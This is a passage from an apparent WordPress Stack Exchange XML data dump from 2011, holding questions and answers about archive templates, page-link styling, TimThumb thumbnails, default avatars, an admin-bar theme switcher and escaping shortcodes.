Tags="&lt;pagination&gt;&lt;pages&gt;&lt;wp-link-pages&gt;" AnswerCount="2" />
  <row Id="17423" PostTypeId="1" CreationDate="2011-05-16T19:19:10.430" Score="0" ViewCount="39" Body="&lt;p&gt;I've been posting to my wordpress site the same way forever, not really knowing much about what I'm doing. It all seems easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I've started playing with the site and trying to access parts of the pages other than the actual posts. While in the dashboard I realized that there is no way to access the html in the monthly archive pages...or atleast I can't figure out how one does it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me how I can access the html ofthe monthly archive pages from the dashboard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions anyone can make.&lt;/p&gt;&#xA;" OwnerUserId="5428" LastActivityDate="2011-08-16T03:25:08.827" Title="accessing monthly archive from dashboard" Tags="&lt;customization&gt;" AnswerCount="1" />
  <row Id="17424" PostTypeId="2" ParentId="17419" CreationDate="2011-05-16T19:30:26.220" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'type'            =&amp;gt; 'weekly',&#xA;    'limit'           =&amp;gt; ,&#xA;    'format'          =&amp;gt; 'html', &#xA;    'before'          =&amp;gt; ,&#xA;    'after'           =&amp;gt; ,&#xA;    'show_post_count' =&amp;gt; false,&#xA;    'echo'            =&amp;gt; 1 ); ?&amp;gt;&#xA;&amp;lt;?php wp_get_archives( $args ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see this Codex article &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_archives&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-05-16T19:30:26.220" CommentCount="1" />
  <row Id="17425" PostTypeId="2" ParentId="17412" CreationDate="2011-05-16T19:37:58.010" Score="0" ViewCount="" Body="&lt;p&gt;When you register custom post in functions.php add this &lt;code&gt;'has_archive' =&amp;gt; 'book-list'&lt;/code&gt;&#xA;and then your archive-business_sold.php will work&#xA;See this article for details &lt;a href=&quot;http://www.wpmods.com/wordpress-3-1-custom-post-type-archives&quot; rel=&quot;nofollow&quot;&gt;http://www.wpmods.com/wordpress-3-1-custom-post-type-archives&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just use plugin (for example &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-custom-post-type-archives&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-custom-post-type-archives&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-05-16T19:37:58.010" />
  <row Id="17426" PostTypeId="2" ParentId="17423" CreationDate="2011-05-16T19:48:50.730" Score="0" ViewCount="" Body="&lt;p&gt;the html for any page is in the template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often for archives, that is handled by archive.php, but you can make sure that is correct following the template heirarchy&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the basic html, access from appearance-&gt;editor from your admin dashboard&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each template has the code, but you may have to dig further. The template will usually call other html, using get_header, get_footer, get_sidebar, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This calls in other templates, like header.php, footer.php, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a newer function is get_template_part which can call in other templates, like loop.php, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I explain how that works here&#xA;&lt;a href=&quot;http://voodoopress.com/2011/02/get_template_part-in-my-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/02/get_template_part-in-my-wordpress-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-16T19:48:50.730" />
  <row Id="17427" PostTypeId="2" ParentId="17421" CreationDate="2011-05-16T19:53:49.923" Score="1" ViewCount="" Body="&lt;p&gt;you could try and use the 'link_before' and 'link_after' parameter to get a handle for some str_replace; in the example, i used a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged_page_nav = wp_link_pages( &#xA;  array( &#xA;    'before' =&amp;gt;'', &#xA;    'after' =&amp;gt; '', &#xA;    'link_before' =&amp;gt; '&amp;lt;span&amp;gt;', &#xA;    'link_after' =&amp;gt; '&amp;lt;/span&amp;gt;', &#xA;    'echo' =&amp;gt; false &#xA;  ) &#xA;); &#xA;// Now let's wrap the nav inside &amp;lt;li&amp;gt;-elements &#xA;  $paged_page_nav = str_replace( '&amp;lt;a', '&amp;lt;li class=&quot;'.$classes.'&quot;&amp;gt;&amp;lt;a', $paged_page_nav ); &#xA;  $paged_page_nav = str_replace( '&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;', $paged_page_nav );&#xA;  $paged_page_nav = str_replace( '&quot;&amp;gt;&amp;lt;span&amp;gt;', '&quot;&amp;gt;', $paged_page_nav ); &#xA;// here I'd need to wrap the currently displayed page element, which could even get a different class      &#xA;  $paged_page_nav = str_replace( '&amp;lt;span&amp;gt;', '&amp;lt;li class=&quot;'.$classes.'&quot;&amp;gt;', $paged_page_nav ); &#xA;  $paged_page_nav = str_replace( '&amp;lt;/span&amp;gt;', '&amp;lt;/li&amp;gt;', $paged_page_nav ); &#xA;echo '&amp;lt;ul&amp;gt;'.$paged_page_nav.'&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-16T19:53:49.923" />
  <row Id="17428" PostTypeId="2" ParentId="17421" CreationDate="2011-05-16T20:08:48.170" Score="2" ViewCount="" Body="&lt;p&gt;I wouldn’t use WordPress’ internal function.&lt;br&gt;&#xA;We had a very similar question recently: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14406/how-to-style-current-page-number-wp-link-pages/14460#14460&quot;&gt;How to style current page number (wp_link_pages)?&lt;/a&gt; I wrote a small but flexible function to replace &lt;code&gt;wp_link_pages()&lt;/code&gt;. It is probably easier to extend this than hacking around the return value of the native function.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-16T20:08:48.170" CommentCount="2" />
  <row Id="17429" PostTypeId="2" ParentId="17411" CreationDate="2011-05-16T21:12:01.830" Score="0" ViewCount="" Body="&lt;p&gt;Try this code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then temporarily set permissions to the cache folder to 774 and the timthumb.php file to 750, you can increase or decrease the permissions as you see fit (or aslong as it stops working, then it'll be time to loosen up the permissions).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    // If there are images get them&#xA;    if ( $images = get_children(array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'numberposts' =&amp;gt; 1,&#xA;        'post_status' =&amp;gt; null,&#xA;        'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;    )));&#xA;&#xA;    foreach( $images as $image ) {&#xA;         $attachment = wp_get_attachment_image_src( $image-&amp;gt;ID );&#xA;&#xA;    // Variables for timthumb&#xA;    $width = 160;&#xA;    $height = 160;&#xA;    $zoom_crop = 1;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php esc_attr( printf( __( 'Click to read %s', 'truereps' ), get_the_title() ) ); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php bloginfo( 'template_directory' ); ?&amp;gt;/inc/scripts/timthumb.php?src=&amp;lt;?php echo $attachment[0]; ?&amp;gt;&amp;amp;amp;w=&amp;lt;?php echo $width; ?&amp;gt;&amp;amp;amp;h=&amp;lt;?php echo $height; ?&amp;gt;&amp;amp;amp;zc=&amp;lt;?php echo $zoom_crop; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-05-17T13:12:33.600" LastActivityDate="2011-05-17T13:12:33.600" />
  <row Id="17430" PostTypeId="2" ParentId="15801" CreationDate="2011-05-16T21:30:55.807" Score="2" ViewCount="" Body="&lt;p&gt;I believe this is what your looking for. The complete code can be found in twentyten's loop-attachment.php template. Look for the &lt;code&gt;&amp;lt;p class=&quot;attachment&quot;&amp;gt;&lt;/code&gt; tag. There are two filters there. One for width and the other for height (currently set to 900px for both).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( wp_attachment_is_image() ) :&#xA;$attachments = array_values( get_children( array( 'post_parent' =&amp;gt; $post-&amp;gt;post_parent, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'menu_order ID' ) ) );&#xA;foreach ( $attachments as $k =&amp;gt; $attachment ) {&#xA;    if ( $attachment-&amp;gt;ID == $post-&amp;gt;ID )&#xA;        break;&#xA;}&#xA;$k++;&#xA;// If there is more than 1 image attachment in a gallery&#xA;if ( count( $attachments ) &amp;gt; 1 ) {&#xA;    if ( isset( $attachments[ $k ] ) )&#xA;        // get the URL of the next image attachment&#xA;        $next_attachment_url = get_attachment_link( $attachments[ $k ]-&amp;gt;ID );&#xA;    else&#xA;        // or get the URL of the first image attachment&#xA;        $next_attachment_url = get_attachment_link( $attachments[ 0 ]-&amp;gt;ID );&#xA;} else {&#xA;    // or, if there's only 1 image attachment, get the URL of the image&#xA;    $next_attachment_url = wp_get_attachment_url();&#xA;}&#xA;?&amp;gt;&#xA;                    &amp;lt;p class=&quot;attachment&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $next_attachment_url; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo esc_attr( get_the_title() ); ?&amp;gt;&quot; rel=&quot;attachment&quot;&amp;gt;&amp;lt;?php&#xA;                        $attachment_width  = apply_filters( 'twentyten_attachment_size', 900 );&#xA;                        $attachment_height = apply_filters( 'twentyten_attachment_height', 900 );&#xA;                        echo wp_get_attachment_image( $post-&amp;gt;ID, array( $attachment_width, $attachment_height ) ); // filterable image width with, essentially, no limit for image height.&#xA;                    ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_image_link( false ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_image_link( false ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo wp_get_attachment_url(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo esc_attr( get_the_title() ); ?&amp;gt;&quot; rel=&quot;attachment&quot;&amp;gt;&amp;lt;?php echo basename( get_permalink() ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-16T21:30:55.807" />
  <row Id="17431" PostTypeId="1" CreationDate="2011-05-16T21:16:41.287" Score="0" ViewCount="34" Body="&lt;p&gt;Hi I have a couple of pages that need the same images and captions, is there a wordpress plugin that would allow this on 1 upload?&lt;/p&gt;&#xA;" LastActivityDate="2011-05-16T21:55:47.677" Title="Is there any wordpress plugin to upload images and captions to multiple pages once" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="17432" PostTypeId="2" ParentId="17431" CreationDate="2011-05-16T21:20:47.650" Score="2" ViewCount="" Body="&lt;p&gt;Can't you just insert the image from the media library?&lt;/p&gt;&#xA;" OwnerUserId="5434" LastActivityDate="2011-05-16T21:20:47.650" CommentCount="4" />
  <row Id="17433" PostTypeId="2" ParentId="17413" CreationDate="2011-05-16T22:16:22.880" Score="3" ViewCount="" Body="&lt;p&gt;If you want a super-lightweight solution and don't mind dabbling in a little code, drop this in your &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __default_local_avatar()&#xA;{&#xA;    // this assumes default_avatar.png is in wp-content/themes/active-theme/images&#xA;    return get_bloginfo('template_directory') . '/images/default_avatar.png';&#xA;}&#xA;add_filter( 'pre_option_avatar_default', '__default_local_avatar' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you want a bit more juice, with the ability to manage everything in the admin, check out &lt;a href=&quot;http://wordpress.org/extend/plugins/add-new-default-avatar/&quot; rel=&quot;nofollow&quot;&gt;Add New Default Avatar&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I wrote a quick plugin to be used alongside Simple Local Avatars. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Plugin Name: Disable Default Avatars&#xA; * Plugin URI: http://wordpress.stackexchange.com/questions/17413&#xA; * Description: To be used alongside &amp;lt;a href=&quot;http://www.get10up.com/plugins/simple-local-avatars-wordpress/&quot;&amp;gt;Simple Local Avatars&amp;lt;/a&amp;gt;, disabling all default avatars and falling back to a single image. Use the filter &amp;lt;code&amp;gt;local_default_avatar&amp;lt;/code&amp;gt; to set the path of the image.&#xA; * Version: 1.0&#xA; * Author: TheDeadMedic&#xA; * Author URI: http://wordpress.stackexchange.com/users/1685/thedeadmedic&#xA; */&#xA;&#xA;if ( !function_exists( 'get_avatar' ) ) :&#xA;/**&#xA; * Retrieve the avatar for a user who provided a user ID or email address.&#xA; *&#xA; * @since 2.5&#xA; * @param int|string|object $id_or_email A user ID,  email address, or comment object&#xA; * @param int $size Size of the avatar image&#xA; * @param string $default URL to a default image to use if no avatar is available&#xA; * @param string $alt Alternate text to use in image tag. Defaults to blank&#xA; * @return string &amp;lt;img&amp;gt; tag for the user's avatar&#xA;*/&#xA;function get_avatar( $id_or_email, $size = '96', $default = '', $alt = false ) {&#xA;    if ( ! get_option('show_avatars') )&#xA;        return false;&#xA;&#xA;    static $default_url; // use static vars for a little caching&#xA;    if ( !isset( $default_url ) )&#xA;        $default_url = apply_filters( 'local_default_avatar', get_template_directory_uri() . '/images/default_avatar.png' );&#xA;&#xA;    if ( false === $alt)&#xA;        $safe_alt = '';&#xA;    else&#xA;        $safe_alt = esc_attr( $alt );&#xA;&#xA;    if ( !is_numeric( $size ) )&#xA;        $size = '96';&#xA;&#xA;    $avatar = &quot;&amp;lt;img alt='{$safe_alt}' src='{$default_url}' class='avatar avatar-{$size} photo avatar-default' height='{$size}' width='{$size}' /&amp;gt;&quot;;&#xA;    return apply_filters( 'get_avatar', $avatar, $id_or_email, $size, $default, $alt );&#xA;}&#xA;endif;&#xA;&#xA;function __limit_default_avatars_setting( $default )&#xA;{&#xA;    return 'local_default';&#xA;}&#xA;add_filter( 'pre_option_avatar_default', '__limit_default_avatars_setting' );&#xA;&#xA;if ( is_admin() ) :&#xA;function __limit_default_avatars( $defaults )&#xA;{&#xA;    return array( 'local_default' =&amp;gt; get_bloginfo( 'name' ) . ' Default' );&#xA;}&#xA;add_filter( 'avatar_defaults', '__limit_default_avatars' );&#xA;endif;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The plugin description should be self-explanatory, but essentially the default avatar is &lt;code&gt;http://wordpress-theme-path/images/default_avatar.png&lt;/code&gt;, which can be filtered in your theme's &lt;code&gt;functions&lt;/code&gt;.php if it exists elsewhere;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __my_theme_default_avatar( $url )&#xA;{&#xA;    return 'http://somewhere/else.jpg';&#xA;}&#xA;add_filter( 'local_default_avatar', '__my_theme_default_avatar' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-05-19T10:37:29.500" LastActivityDate="2011-05-19T10:37:29.500" CommentCount="3" />
  <row Id="17434" PostTypeId="1" CreationDate="2011-05-16T22:54:47.413" Score="2" ViewCount="135" Body="&lt;p&gt;I'm trying to add a new menu item to the WordPress admin bar. The sub menu item contains a select drop down to switch themes. In Firefox with &lt;code&gt;href =&amp;gt; false&lt;/code&gt; it generated &lt;code&gt;&amp;lt;a href=&quot;&quot;&amp;gt;&lt;/code&gt; and when I clicked the select it reloaded the page. I changed it to &lt;code&gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&lt;/code&gt;. That fixed the page reload when clicking on the select... but the javascript isn't working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code itself works just fine in Chrome and Safari on Mac. I haven't tested IE or any browsers on Windows yet. In Firefox on Mac it does nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code generated by the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;wp-admin-bar-switch_themes&quot; class=&quot;menupop&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;span&amp;gt;Switch Themes&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li id=&quot;wp-admin-bar-abstractambienceantisocialapertureapzauldbackstagebig-easybiznizzbloggingstreamboastbold-newsbusy-beecaffeinatedcanvascanvas-buddypress-betachapterscinchcity-guidecodacoffee-breakcontinuumcrispcush&quot; class=&quot;&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;                            &amp;lt;select name=&quot;themeswitcher&quot; onchange=&quot;location.href=this.options[this.selectedIndex].value;&quot; style=&quot;color: #000; text-shadow: none;&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;http://themes.fusionized.com?wptheme=Abstract&quot; style=&quot;color: #000; text-shadow: none;&quot;&amp;gt;Abstract&amp;lt;/option&amp;gt;&#xA;                                    &amp;lt;option value=&quot;http://themes.fusionized.com?wptheme=Ambience&quot; style=&quot;color: #000; text-shadow: none;&quot;&amp;gt;Ambience&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing fancy in the code to generate the admin bar items...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_admin_bar-&amp;gt;add_menu( array( 'id' =&amp;gt; 'switch_themes', 'title' =&amp;gt; __( 'Switch Themes', 'textdomain' ), 'href' =&amp;gt; '#' ) );&#xA;$wp_admin_bar-&amp;gt;add_menu( array( 'parent' =&amp;gt; 'switch_themes', 'title' =&amp;gt; $theme_switcher-&amp;gt;theme_switcher_markup('dropdown'), 'href' =&amp;gt; '#' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-17T14:38:18.270" LastActivityDate="2011-05-21T03:11:07.553" Title="Adding &lt;select&gt; with javascript to admin bar. Works in Chrome/Safari, not Firefox" Tags="&lt;plugins&gt;&lt;javascript&gt;&lt;admin-bar&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="17435" PostTypeId="1" CreationDate="2011-05-16T23:16:31.170" Score="1" ViewCount="136" Body="&lt;p&gt;I've got an issue with the caption shortcode not being parsed, in WP 3.1.2. I've read about instances where using get_the_content() breaks some filtering and causes this problem, but I'm using &lt;code&gt;&amp;lt;?php the_content ( __('', 'twentyten') ); ?&amp;gt;&lt;/code&gt; to display posts. Anyone run into this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5436" LastActivityDate="2011-05-20T16:16:48.997" ClosedDate="2011-05-20T17:19:17.407" Title="image caption shortcode displaying in post" Tags="&lt;the-content&gt;&lt;captions&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="17437" PostTypeId="1" AcceptedAnswerId="17438" CreationDate="2011-05-17T00:39:15.590" Score="0" ViewCount="65" Body="&lt;p&gt;Is there a plugin that will notify users of comment replies? I don't want a email notification but something on the sidebar where a user can click and see what posts have been replied to. Kind of like a subscription thing?&lt;/p&gt;&#xA;" OwnerUserId="4278" LastEditorUserId="3051" LastEditorDisplayName="" LastEditDate="2011-07-16T07:58:05.883" LastActivityDate="2011-07-16T07:58:05.883" Title="Looking for plugins that notify users of comment replies" Tags="&lt;notifications&gt;" AnswerCount="1" />
  <row Id="17438" PostTypeId="2" ParentId="17437" CreationDate="2011-05-17T01:00:56.690" Score="0" ViewCount="" Body="&lt;p&gt;Recent Comments Widget shows recent comments(including author name and link to the blogpost). You can add it to the sidebar as well. &lt;/p&gt;&#xA;" OwnerUserId="5123" LastActivityDate="2011-05-17T01:00:56.690" CommentCount="2" />
  <row Id="17439" PostTypeId="1" CreationDate="2011-05-17T05:15:42.090" Score="0" ViewCount="81" Body="&lt;p&gt;Suppose I have a &lt;code&gt;[list]&lt;/code&gt; shortcode. I want to have a post explaining how to use shortcodes (docs for my theme). How can I have a header like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;[list type=&quot;arrow&quot;] Shortcode Tag&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Currently wordpress will mess it up converting &lt;code&gt;[list type=&quot;arrow&quot;]&lt;/code&gt; into invalid HTML&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-06-16T08:02:45.723" Title="Prevent wordpress from rendering shortcode in post" Tags="&lt;shortcode&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="17440" PostTypeId="1" AcceptedAnswerId="17442" CreationDate="2011-05-17T05:36:05.070" Score="0" ViewCount="47" Body="&lt;p&gt;i'm using the BAAP Mobile version plugin and the footer link that switches between desktop and mobile version is being displayed outside of the wrapper&gt;footer divs. Is there a hook or a method to have the switcher link display in the footer section?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the function that creates and displays the links in the wpmp_switcher.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpmp_switcher_wp_footer($force=false) {&#xA;  if(!$force &amp;amp;&amp;amp; (get_option('wpmp_switcher_mode')=='none' || get_option('wpmp_switcher_footer_links')!='true')) {&#xA;    return;&#xA;  }&#xA;  switch (wpmp_switcher_outcome()) {&#xA;    case WPMP_SWITCHER_MOBILE_PAGE:&#xA;      print wpmp_switcher_link('desktop', __('Switch 2 our desktop site', 'wpmp'));&#xA;      break;&#xA;    case WPMP_SWITCHER_DESKTOP_PAGE:&#xA;      print &quot;&amp;lt;p&amp;gt;&quot; . wpmp_switcher_link('mobile', __('Switch to our mobile site', 'wpmp')) . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;      break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-17T05:57:21.710" Title="How to display a link in the footer section" Tags="&lt;plugins&gt;&lt;hooks&gt;&lt;footer&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="17441" PostTypeId="2" ParentId="17439" CreationDate="2011-05-17T05:49:27.847" Score="2" ViewCount="" Body="&lt;p&gt;This is very similar to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16991/how-to-show-the-syntaxis-of-a-shortcode&quot;&gt;this question&lt;/a&gt; where Jan had given us all a great lesson :)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;just use double brackets, WordPress&#xA;  will not execute the shortcode but&#xA;  just display it with single brackets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so your header would be &lt;code&gt;[[list type=&quot;arrow&quot;]]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-17T07:46:33.147" LastActivityDate="2011-05-17T07:46:33.147" />
  <row Id="17442" PostTypeId="2" ParentId="17440" CreationDate="2011-05-17T05:57:21.710" Score="0" ViewCount="" Body="&lt;p&gt;If you look in the plugin's directory &lt;code&gt;plugins/wpmp_switcher/wpmp_switcher.php&lt;/code&gt;  on line 53 you will see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_footer', 'wpmp_switcher_wp_footer');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you can either remove this action and call it in your theme your self with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('wp_footer', 'wpmp_switcher_wp_footer');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you just make sure that &lt;code&gt;wp_footer();&lt;/code&gt; is inside your wrapper&gt;footer divs.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-17T05:57:21.710" CommentCount="2" />
  <row Id="17443" PostTypeId="1" AcceptedAnswerId="17445" CreationDate="2011-05-17T06:10:31.590" Score="0" ViewCount="86" Body="&lt;p&gt;I'm attempting to set up a wiki within a Wordpress install and love the way codex.wordpress.org is set up.  Are they using a specific plugin to accomplish that or just well structured pages?  Is there a similar plugin available to users?&lt;/p&gt;&#xA;" OwnerUserId="5438" LastActivityDate="2011-05-17T07:43:42.993" Title="Does codex.wordpress.org use a plugin of some sort? If so what plugin?" Tags="&lt;plugins&gt;&lt;wiki&gt;&lt;codex&gt;" AnswerCount="2" />
  <row Id="17444" PostTypeId="1" CreationDate="2011-05-17T06:12:51.883" Score="1" ViewCount="85" Body="&lt;p&gt;I have several sites with Custom Post Types and Taxonomies registered by different plugins.  Is there a way to add or change a parameter like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;'rewrite' =&amp;gt; array( 'hierarchical' =&amp;gt; true )&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by adding something to functions.php—without completely re-registering the type/taxonomy? I want to continue to use certain plugins to manage types and taxonomies, but not all parameters are provided.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-05-17T06:12:51.883" Title="Add/overwrite a parameter on an existing post type/taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="17445" PostTypeId="2" ParentId="17443" CreationDate="2011-05-17T06:53:25.380" Score="3" ViewCount="" Body="&lt;p&gt;Hi in the wordpress.org header is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;generator&quot; content=&quot;MediaWiki 1.15.5&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which leads me to think that it is this that is used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediawiki.org/wiki/MediaWiki&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;MediaWiki&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&#xA;Martin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: something similar was aked before and it looks like a plugin solution was found&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16046/looking-for-a-table-of-contents-toc-plugin-for-wordpress&quot;&gt;&lt;strong&gt;Plugin Similar To MediaWiki&lt;/strong&gt;&lt;/a&gt; by Bainternet&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-05-17T06:58:31.477" LastActivityDate="2011-05-17T06:58:31.477" CommentCount="2" />
  <row Id="17446" PostTypeId="1" AcceptedAnswerId="17477" CreationDate="2011-05-17T07:20:55.777" Score="1" ViewCount="54" Body="&lt;p&gt;When using a modal window such as lightbox or shadowbox to display a post's images, client would like to be able to choose the background color that would be used for the modal window according to the image to be shown: color would be either black, white or grey. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking such hack should be done via a plugin but i didn't find any, so i guess i should do it myself. It scarces me a bit: where should i store the chosen value? What hooks ? Any help would be welcome.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-05-17T14:31:50.707" Title="Set a background color per image added to a post" Tags="&lt;image&gt;" AnswerCount="2" />
